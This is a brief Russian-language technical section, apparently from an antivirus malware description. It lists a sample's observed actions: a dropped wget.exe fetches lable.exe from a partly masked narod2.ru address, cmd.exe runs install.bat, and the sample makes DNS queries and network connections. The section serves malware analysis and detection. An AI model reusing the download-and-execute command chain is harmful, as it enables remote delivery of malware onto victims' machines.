Техническая информация
- %TEMP%\1.tmp\lable.exe (загружен из сети Интернет)
- %TEMP%\1.tmp\wget.exe http://rm#####ver.narod2.ru/clients/lable/lable.exe
- <SYSTEM32>\ping.exe ya.ru -n 5
- <SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\install.bat" "
- %TEMP%\1.tmp\lable.exe
- %TEMP%\1.tmp\wget.exe
- %TEMP%\1.tmp\install.bat
- 'rm#####ver.narod2.ru':80
- rm#####ver.narod2.ru/clients/lable/lable.exe
- DNS ASK rm#####ver.narod2.ru
- DNS ASK ya.ru
- '<IP-адрес в локальной сети>':1038